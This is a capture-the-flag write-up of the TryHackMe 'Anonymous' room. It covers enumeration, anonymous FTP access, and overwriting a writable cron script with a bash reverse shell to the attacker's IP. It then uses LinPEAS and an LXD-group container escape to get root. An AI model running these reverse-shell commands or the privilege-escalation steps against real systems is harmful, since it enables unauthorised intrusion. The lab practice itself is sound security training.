TryHackMe – Anonymous

Not the hacking group.

Description: Try to get the two flags! Root the machine and prove your understanding of the fundamentals! This is a virtual machine meant for beginners. Acquiring both flags will require some basic knowledge of Linux and privilege escalation methods.

Tags: security, linux, permissions, medium

TryHackMe Difficulty: Medium

Link: https://tryhackme.com/room/anonymous

We have ourselves another machine, and this one comes with a few additional questions:

1. Enumerate the machine. How many ports are open?
2. What service is running on port 21?
3. What service is running on ports 139 and 445?
4. There’s a share on the user’s computer. What’s it called?
5. user.txt
6. root.txt

Time to dig in, and we can easily knock out out questions 1-3 using our Nmap scan.

┌─[loki@parrot]─[~]
└──╼ $nmap -A 10.10.131.52
Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-01 23:48 EST
Nmap scan report for 10.10.131.52
Host is up (0.090s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx 2 111 113 4096 Jun 04 19:26 scripts [NSE: writeable]
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.6.22.82
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.3 – secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8b:ca:21:62:1c:2b:23:fa:6b:c6:1f:a8:13:fe:1c:68 (RSA)
| 256 95:89:a4:12:e2:e6:ab:90:5d:45:19:ff:41:5f:74:ce (ECDSA)
|_ 256 e1:2a:96:a4:ea:8f:68:8f:cc:74:b8:f0:28:72:70:cd (ED25519)
139/tcp open netbios-ssn Samba smbd 3.X – 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: ANONYMOUS; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 14s, deviation: 0s, median: 14s
|_nbstat: NetBIOS name: ANONYMOUS, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
| Computer name: anonymous
| NetBIOS computer name: ANONYMOUS\x00
| Domain name: \x00
| FQDN: anonymous
|_ System time: 2020-11-02T04:49:14+00:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-11-02T04:49:14
|_ start_date: N/A

We have FTP on 21, SSH on 22, and (2) SMB (139 & 445) ports open currently. Questions 1-3, done.

Let’s see about question 4. We’ll need to utilize smbclient to browse these.

┌─[✗]─[loki@parrot]─[~]
└──╼ $smbclient -L 10.10.193.161
Enter WORKGROUP\loki’s password:

Sharename Type Comment
——— —- ——-
print$ Disk Printer Drivers
pics Disk My SMB Share Directory for Pics
IPC$ IPC IPC Service (anonymous server (Samba, Ubuntu))
SMB1 disabled — no workgroup available

We’ve found an available share named “pics”. We can see if there is anything of use.

┌─[loki@parrot]─[~]
└──╼ $smbclient \\\\10.10.193.161\\pics
Enter WORKGROUP\loki’s password:
Try “help” to get a list of possible commands.
smb: \> dir
. D 0 Sun May 17 07:11:34 2020
.. D 0 Mon Nov 2 23:57:40 2020
corgo2.jpg N 42663 Mon May 11 20:43:42 2020
puppos.jpeg N 265188 Mon May 11 20:43:42 2020

20508240 blocks of size 1024. 13290420 blocks available

I ran some basic stego on the images, but nothing useful. Let’s move on.

As seen in our initial Nmap scan, “Anonymous FTP login allowed“, so let’s see what’s available. We can tell that ‘anonymous’ should be allowed, and ‘ftp’ is also logged in, so we can utilize either.

┌─[loki@parrot]─[~]
└──╼ $ftp 10.10.131.52
Connected to 10.10.131.52.
220 NamelessOne’s FTP Server!
Name (10.10.131.52:loki): ftp
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

And now that we’re in, let’s do some poking around.

ftp> ls -lah
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 3 65534 65534 4096 May 13 19:49 .
drwxr-xr-x 3 65534 65534 4096 May 13 19:49 ..
drwxrwxrwx 2 111 113 4096 Jun 04 19:26 scripts
226 Directory send OK.
ftp> cd scripts
250 Directory successfully changed.
ftp> ls -lah
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx 2 111 113 4096 Jun 04 19:26 .
drwxr-xr-x 3 65534 65534 4096 May 13 19:49 ..
-rwxr-xrwx 1 1000 1000 314 Jun 04 19:24 clean.sh
-rw-rw-r– 1 1000 1000 989 Nov 02 04:50 removed_files.log
-rw-r–r– 1 1000 1000 68 May 12 03:50 to_do.txt
226 Directory send OK.

We’ve got 3 files within the directory, and 1 of them that looks quite useful (rwx permissions). We’ll pull them down and examine further.

ftp> get clean.sh
local: clean.sh remote: clean.sh
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for clean.sh (314 bytes).
226 Transfer complete.
314 bytes received in 0.00 secs (1.3250 MB/s)
ftp> get removed_files.log
local: removed_files.log remote: removed_files.log
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for removed_files.log (989 bytes).
226 Transfer complete.
989 bytes received in 0.00 secs (2.4691 MB/s)
ftp> get to_do.txt
local: to_do.txt remote: to_do.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for to_do.txt (68 bytes).
226 Transfer complete.
68 bytes received in 0.06 secs (1.0596 kB/s)
ftp> exit
221 Goodbye.

I’m most intrigued by our script that we can see has rwx permissions available. We can examine it to see if it’ll be useful to us.

┌─[loki@parrot]─[~]
└──╼ $cat clean.sh
#!/bin/bash

tmp_files=0
echo $tmp_files
if [ $tmp_files=0 ]
then
echo “Running cleanup script: nothing to delete” >> /var/ftp/scripts/removed_files.log
else
for LINE in $tmp_files; do
rm -rf /tmp/$LINE && echo “$(date) | Removed file /tmp/$LINE” >> /var/ftp/scripts/removed_files.log;done
fi

Ok, so we can see that if the initial ‘if’ statement is met, the script will write output to the ‘removed_files.log’ file we pulled down.

┌─[loki@parrot]─[~]
└──╼ $cat removed_files.log
Running cleanup script: nothing to delete
Running cleanup script: nothing to delete
Running cleanup script: nothing to delete

Cool. So if we pull down another version of this file in a few minutes, this should ideally have additional lines (which it does). Now we can craft our attack. We should be able to modify our “echo “Running cleanup script: nothing to delete” >> /var/ftp/scripts/removed_files.log” line to now read “/bin/bash -i >& /dev/tcp/10.6.22.82/4444 0>&1” and put the file back on the FTP server.

┌─[loki@parrot]─[~]
└──╼ $ftp 10.10.131.52
Connected to 10.10.131.52.
220 NamelessOne’s FTP Server!
Name (10.10.131.52:loki): ftp
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> cd scripts
250 Directory successfully changed.
ftp> put clean.sh
local: clean.sh remote: clean.sh
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
272 bytes sent in 0.00 secs (5.5191 MB/s)
ftp> exit
221 Goodbye.

Now, let’s set up our listener and see if this worked.

┌─[loki@parrot]─[~]
└──╼ $nc -lnvp 4444
listening on [any] 4444 …
connect to [10.6.22.82] from (UNKNOWN) [10.10.131.52] 39552
bash: cannot set terminal process group (1447): Inappropriate ioctl for device
bash: no job control in this shell
namelessone@anonymous:~$

We have our shell. Also of note – since the script re-runs periodically, if you happen to drop the shell for one reason or another, you’ll re-establish it without much extra effort. Just listen again, and you should regain it.

Let’s see what’s in our pwd:

namelessone@anonymous:~$ ls -lah
ls -lah
total 60K
drwxr-xr-x 6 namelessone namelessone 4.0K Nov 3 04:55 .
drwxr-xr-x 3 root root 4.0K May 11 14:54 ..
lrwxrwxrwx 1 root root 9 May 11 15:17 .bash_history -> /dev/null
-rw-r–r– 1 namelessone namelessone 220 Apr 4 2018 .bash_logout
-rw-r–r– 1 namelessone namelessone 3.7K Apr 4 2018 .bashrc
drwx—— 2 namelessone namelessone 4.0K May 11 14:55 .cache
drwx—— 3 namelessone namelessone 4.0K May 11 14:55 .gnupg
-rw——- 1 namelessone namelessone 36 May 12 20:06 .lesshst
drwxrwxr-x 3 namelessone namelessone 4.0K May 12 19:26 .local
drwxr-xr-x 2 namelessone namelessone 4.0K May 17 11:11 pics
-rw-r–r– 1 namelessone namelessone 807 Apr 4 2018 .profile
-rw-rw-r– 1 namelessone namelessone 66 May 12 19:26 .selected_editor
-rw-r–r– 1 namelessone namelessone 0 May 12 20:18 .sudo_as_admin_successful
-rw-r–r– 1 namelessone namelessone 33 May 11 18:13 user.txt
-rw——- 1 namelessone namelessone 7.9K May 12 19:52 .viminfo
-rw-rw-r– 1 namelessone namelessone 215 May 13 20:20 .wget-hsts

Awesome. We have our user flag, we’re 5 for 6.

Now, here’s where I’m not a very good hacker…like, at all. I went immediately to the instinctual “SUID Binary” route, as a good deal of the boxes I’ve dealt with recently have been utilizing those as the point of attack. I’ll walk you through my steps/methodology, and what not to do.

namelessone@anonymous:~$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/snap/core/8268/bin/mount
/snap/core/8268/bin/ping
/snap/core/8268/bin/ping6
/snap/core/8268/bin/su
/snap/core/8268/bin/umount
/snap/core/8268/usr/bin/chfn
/snap/core/8268/usr/bin/chsh
/snap/core/8268/usr/bin/gpasswd
/snap/core/8268/usr/bin/newgrp
/snap/core/8268/usr/bin/passwd
/snap/core/8268/usr/bin/sudo
/snap/core/8268/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/8268/usr/lib/openssh/ssh-keysign
/snap/core/8268/usr/lib/snapd/snap-confine
/snap/core/8268/usr/sbin/pppd
/snap/core/9066/bin/mount
/snap/core/9066/bin/ping
/snap/core/9066/bin/ping6
/snap/core/9066/bin/su
/snap/core/9066/bin/umount
/snap/core/9066/usr/bin/chfn
/snap/core/9066/usr/bin/chsh
/snap/core/9066/usr/bin/gpasswd
/snap/core/9066/usr/bin/newgrp
/snap/core/9066/usr/bin/passwd
/snap/core/9066/usr/bin/sudo
/snap/core/9066/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/9066/usr/lib/openssh/ssh-keysign
/snap/core/9066/usr/lib/snapd/snap-confine
/snap/core/9066/usr/sbin/pppd
/bin/umount
/bin/fusermount
/bin/ping
/bin/mount
/bin/su
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/bin/passwd
/usr/bin/env
/usr/bin/gpasswd
/usr/bin/newuidmap
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/newgidmap
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/traceroute6.iputils
/usr/bin/at
/usr/bin/pkexec

Looking at the primary core bin’s, ‘at‘ stuck out to me. Doing some reading, I found out we can schedule something (a script?) to run, somewhat like cron. This should run as root since it has SUID set, right?

Right….?

namelessone@anonymous:~$ ls -lah /usr/bin/at
ls -lah /usr/bin/at
-rwsr-sr-x 1 daemon daemon 51K Feb 20 2018 /usr/bin/at

No.

Host: namelessone@anonymous:~$ at now /bin/bash -i >& /dev/tcp/10.6.22.82/4455 0>&1
at now /bin/bash -i >& /dev/tcp/10.6.22.82/4455 0>&1

Attacker: ┌─[✗]─[loki@parrot]─[~]
└──╼ $nc -lnvp 4455
listening on [any] 4455 …
connect to [10.6.22.82] from (UNKNOWN) [10.10.193.161] 36852
at: invalid option — ‘i’

Not even with a script (bash or Python). Hmmm. Reading into this, I found a much older article stating “Please don’t run /usr/bin/at as setuid root“, confirming my suspicions that this could (at least have one time) been a thing. Let’s grab our friend LinPEAS and see what we can find at a broad scope.

namelessone@anonymous:/tmp$ wget http://10.6.22.82:8000/linpeas.sh
wget http://10.6.22.82:8000/linpeas.sh
–2020-11-02 21:18:47– http://10.6.22.82:8000/linpeas.sh
Connecting to 10.6.22.82:8000… connected.
HTTP request sent, awaiting response… 200 OK
Length: 293889 (287K) [text/x-sh]
Saving to: ‘linpeas.sh’

0K ………. ………. ………. ………. ………. 17% 242K 1s
50K ………. ………. ………. ………. ………. 34% 626K 1s
100K ………. ………. ………. ………. ………. 52% 726K 0s
150K ………. ………. ………. ………. ………. 69% 562K 0s
200K ………. ………. ………. ………. ………. 87% 729K 0s
250K ………. ………. ………. ……. 100% 543K=0.6s

2020-11-02 21:18:48 (494 KB/s) – ‘linpeas.sh’ saved [293889/293889]

namelessone@anonymous:/tmp$ chmod +x linpeas.sh

chmod +x linpeas.sh
namelessone@anonymous:/tmp$
namelessone@anonymous:/tmp$ ./linpeas.sh

After running, we don’t have to look very far –

User & Groups: uid=1000(namelessone) gid=1000(namelessone) groups=1000(namelessone),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)

LinPEAS has a nice feature for highlighting items in Red/Yellow that are most likely a PE vector.

Containerization isn’t something I’ve messed with outside of doing some basic tasks with Docker, so I would have missed this most likely if I were to run ‘id’ by itself.

namelessone@anonymous:~$ id
id
uid=1000(namelessone) gid=1000(namelessone) groups=1000(namelessone),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)

So what exactly is LXD?

“LXD is a next generation system container manager. It offers a user experience similar to virtual machines but using Linux containers instead. It’s image based with pre-made images available for a wide number of Linux distributions and is built around a very powerful, yet pretty simple, REST API.“

Ok – so now that we have a general idea of what LXD is and does, why was this highlighted in our LinPEAS script? More Googling, and we can see mentions that “If you belong to lxd or lxc group, you can become root.“. I first started to follow this article, but the issue with the machine being “isolated” is that I cannot obtain the Ubuntu image, and I don’t feel like having to poke around with configuration files. However, we can exploit without the internet using this method. Let’s give it a try.

Attacker:

#Install requirements

sudo apt update sudo apt install -y golang-go debootstrap rsync gpg squashfs-tools

#Clone repo

go get -d -v github.com/lxc/distrobuilder

#Make distrobuilder

cd $HOME/go/src/github.com/lxc/distrobuilder

make

cd

#Prepare the creation of alpine

mkdir -p $HOME/ContainerImages/alpine/

cd $HOME/ContainerImages/alpine/

wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml

#Create the container

sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml

That last step gave me some issues, but I found an article advising how to modify the alpine.yaml file so this will work. Now we should be able to spin up our Python HTTP server on our attacker machine so we can pull the files down to our host.

namelessone@anonymous:/tmp$ wget http://10.6.22.82:8000/lxd.tar.xz
wget http://10.6.22.82:8000/lxd.tar.xz
–2020-11-02 21:53:12– http://10.6.22.82:8000/lxd.tar.xz
Connecting to 10.6.22.82:8000… connected.
HTTP request sent, awaiting response… 200 OK
Length: 856 [application/x-xz]
Saving to: ‘lxd.tar.xz’

0K 100% 87.3M=0s

2020-11-02 21:53:12 (87.3 MB/s) – ‘lxd.tar.xz’ saved [856/856]

namelessone@anonymous:/tmp$ wget http://10.6.22.82:8000/rootfs.squashfs
wget http://10.6.22.82:8000/rootfs.squashfs
–2020-11-02 21:53:35– http://10.6.22.82:8000/rootfs.squashfs
Connecting to 10.6.22.82:8000… connected.
HTTP request sent, awaiting response… 200 OK
Length: 2510848 (2.4M) [application/octet-stream]
Saving to: ‘rootfs.squashfs’

0K ………. ………. ………. ………. ………. 2% 267K 9s
50K ………. ………. ………. ………. ………. 4% 571K 6s
100K ………. ………. ………. ………. ………. 6% 627K 5s
150K ………. ………. ………. ………. ………. 8% 562K 5s
200K ………. ………. ………. ………. ………. 10% 864K 4s
250K ………. ………. ………. ………. ………. 12% 631K 4s
300K ………. ………. ………. ………. ………. 14% 1.26M 4s
350K ………. ………. ………. ………. ………. 16% 2.31M 3s
400K ………. ………. ………. ………. ………. 18% 2.00M 3s
450K ………. ………. ………. ………. ………. 20% 2.87M 3s
500K ………. ………. ………. ………. ………. 22% 2.71M 2s
550K ………. ………. ………. ………. ………. 24% 3.54M 2s
600K ………. ………. ………. ………. ………. 26% 2.70M 2s
650K ………. ………. ………. ………. ………. 28% 4.09M 2s
700K ………. ………. ………. ………. ………. 30% 2.75M 2s
750K ………. ………. ………. ………. ………. 32% 4.07M 2s
800K ………. ………. ………. ………. ………. 34% 3.22M 1s
850K ………. ………. ………. ………. ………. 36% 4.96M 1s
900K ………. ………. ………. ………. ………. 38% 3.37M 1s
950K ………. ………. ………. ………. ………. 40% 248K 1s
1000K ………. ………. ………. ………. ………. 42% 250M 1s
1050K ………. ………. ………. ………. ………. 44% 255M 1s
1100K ………. ………. ………. ………. ………. 46% 301M 1s
1150K ………. ………. ………. ………. ………. 48% 199M 1s
1200K ………. ………. ………. ………. ………. 50% 220M 1s
1250K ………. ………. ………. ………. ………. 53% 210M 1s
1300K ………. ………. ………. ………. ………. 55% 285M 1s
1350K ………. ………. ………. ………. ………. 57% 253M 1s
1400K ………. ………. ………. ………. ………. 59% 303M 1s
1450K ………. ………. ………. ………. ………. 61% 227M 1s
1500K ………. ………. ………. ………. ………. 63% 261M 1s
1550K ………. ………. ………. ………. ………. 65% 246M 1s
1600K ………. ………. ………. ………. ………. 67% 281M 0s
1650K ………. ………. ………. ………. ………. 69% 282M 0s
1700K ………. ………. ………. ………. ………. 71% 312M 0s
1750K ………. ………. ………. ………. ………. 73% 211M 0s
1800K ………. ………. ………. ………. ………. 75% 212M 0s
1850K ………. ………. ………. ………. ………. 77% 263M 0s
1900K ………. ………. ………. ………. ………. 79% 253M 0s
1950K ………. ………. ………. ………. ………. 81% 264M 0s
2000K ………. ………. ………. ………. ………. 83% 291M 0s
2050K ………. ………. ………. ………. ………. 85% 305M 0s
2100K ………. ………. ………. ………. ………. 87% 263M 0s
2150K ………. ………. ………. ………. ………. 89% 286M 0s
2200K ………. ………. ………. ………. ………. 91% 7.18M 0s
2250K ………. ………. ………. ………. ………. 93% 6.85M 0s
2300K ………. ………. ………. ………. ………. 95% 534K 0s
2350K ………. ………. ………. ………. ………. 97% 1.78M 0s
2400K ………. ………. ………. ………. ………. 99% 1.67M 0s
2450K .. 100% 3815G=1.2s

2020-11-02 21:53:36 (2.02 MB/s) – ‘rootfs.squashfs’ saved [2510848/2510848]

Let’s see if we can finish this out now.

namelessone@anonymous:/tmp$ lxc image import lxd.tar.xz rootfs.squashfs –alias alpine
<ge import lxd.tar.xz rootfs.squashfs –alias alpine
Image imported with fingerprint: 2639e893c0dd84f24c525d2ce7a798d9d415455e5180b99b3c4be2e882b9ae92
namelessone@anonymous:/tmp$ lxc image list
lxc image list
+——–+————–+——–+—————————————–+——–+——–+—————————–+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCH | SIZE | UPLOAD DATE |
+——–+————–+——–+—————————————–+——–+——–+—————————–+
| alpine | 2639e893c0dd | no | Alpinelinux 3.12 x86_64 (20201102_2152) | x86_64 | 2.40MB | Nov 2, 2020 at 9:53pm (UTC) |
+——–+————–+——–+—————————————–+——–+——–+—————————–+
namelessone@anonymous:/tmp$ lxc init alpine privesc -c security.privileged=true
<lxc init alpine privesc -c security.privileged=true
Creating privesc
namelessone@anonymous:/tmp$ lxc list
lxc list
+———+———+——+——+————+———–+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+———+———+——+——+————+———–+
| privesc | STOPPED | | | PERSISTENT | 0 |
+———+———+——+——+————+———–+
namelessone@anonymous:/tmp$ lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
<st-root disk source=/ path=/mnt/root recursive=true
Device host-root added to privesc
namelessone@anonymous:/tmp$ lxc start privesc
lxc start privesc
namelessone@anonymous:/tmp$ lxc exec privesc /bin/sh
lxc exec privesc /bin/sh

whoami
root

Oh yes, the sweet taste of victory. Apologies for the gross shell.

cd /mnt/root
ls -lah
total 4G
drwxr-xr-x 24 root root 4.0K May 12 17:04 .
drwxr-xr-x 3 root root 4.0K Nov 2 21:54 ..
drwxr-xr-x 2 root root 4.0K May 13 20:34 bin
drwxr-xr-x 3 root root 4.0K May 13 20:34 boot
drwxr-xr-x 2 root root 4.0K May 11 14:37 cdrom
drwxr-xr-x 17 root root 3.6K Nov 2 20:58 dev
drwxr-xr-x 96 root root 4.0K Jun 4 19:13 etc
drwxr-xr-x 3 root root 4.0K May 11 14:54 home
drwxr-xr-x 22 root root 4.0K May 11 14:40 lib
drwxr-xr-x 2 root root 4.0K Feb 3 2020 lib64
drwx—— 2 root root 16.0K May 11 14:37 lost+found
drwxr-xr-x 2 root root 4.0K Feb 3 2020 media
drwxr-xr-x 2 root root 4.0K Feb 3 2020 mnt
drwxr-xr-x 2 root root 4.0K Feb 3 2020 opt
dr-xr-xr-x 116 root root 0 Nov 2 20:57 proc
drwx—— 6 root root 4.0K May 17 21:30 root
drwxr-xr-x 28 root root 940 Nov 2 21:54 run
drwxr-xr-x 2 root root 12.0K May 13 20:34 sbin
drwxr-xr-x 4 root root 4.0K May 11 14:54 snap
drwxr-xr-x 3 root root 4.0K May 14 14:11 srv
-rw——- 1 root root 3.8G May 11 14:40 swap.img
dr-xr-xr-x 13 root root 0 Nov 2 20:57 sys
drwxrwxrwt 10 root root 4.0K Nov 2 21:53 tmp
drwxr-xr-x 10 root root 4.0K Feb 3 2020 usr
drwxr-xr-x 14 root root 4.0K May 13 12:18 var
cd root
ls -lah
total 60K
drwx—— 6 root root 4.0K May 17 21:30 .
drwxr-xr-x 24 root root 4.0K May 12 17:04 ..
-rw——- 1 root root 55 May 14 14:53 .Xauthority
lrwxrwxrwx 1 root root 9 May 11 15:17 .bash_history -> /dev/null
-rw-r–r– 1 root root 3.0K Apr 9 2018 .bashrc
drwx—— 2 root root 4.0K May 11 16:05 .cache
drwx—— 3 root root 4.0K May 11 16:05 .gnupg
drwxr-xr-x 3 root root 4.0K May 11 20:10 .local
-rw-r–r– 1 root root 148 Aug 17 2015 .profile
-rw-r–r– 1 root root 66 May 11 20:10 .selected_editor
drwx—— 2 root root 4.0K May 11 14:54 .ssh
-rw——- 1 root root 13.5K May 17 21:30 .viminfo
-rw-r–r– 1 root root 33 May 11 19:15 root.txt

We’ve got our flag. Success.

So what are some lessons we’ve learned here?

1. Stop trying to go immediately to step 2. Skipping critical enumaration can cost you precious time. Consult a well crafted guide if you aren’t sure what to look at, or if you think you may be missing something.
2. Enumeration scripts are great for aiding where your eyes might miss. As I’m still near my very long journey into the Infosec world, I’m lucky to have those before me who have made vital tools of the trade to make life easier, and to improve effectiveness.

Thanks for reading.